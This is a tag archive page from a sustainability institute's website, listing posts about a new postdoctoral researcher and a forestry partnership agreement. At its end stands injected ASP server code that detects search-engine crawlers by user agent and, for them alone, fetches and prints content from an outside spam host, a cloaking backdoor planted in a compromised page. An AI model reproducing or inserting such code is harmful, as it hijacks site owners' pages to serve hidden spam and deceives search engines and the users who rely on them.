Tag Archive: USFS

Sep 13

SDI Welcomes New Staff

Scott Kalafatis   Dr. Scott Kalafatis started a year in residence at the Sustainable Development Institute in August. He is postdoctoral researcher sponsored by a National Science Foundation grant that SDI shares in partnership with researchers at Michigan State University. Scott will be continuing the work he started this past year at Michigan State studying …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/09/sdi-welcomes-new-staff/

May 05

MOU Signing Cements Partnership Through 2020

Written by: Dean Fellman – Director, Center for First Americans Forestlands & Jen Youngblood – U.S. Forest Service Tribal Liaison to the College of Menominee Nation The Center for First Americans Forestlands (CFAF) is the embodiment of a partnership between the College of Menominee Nation’s (CMN) Sustainable Development Institute (SDI) and four divisions of the USDA …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2016/05/mou-signing-cements-partnership-through-2020/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>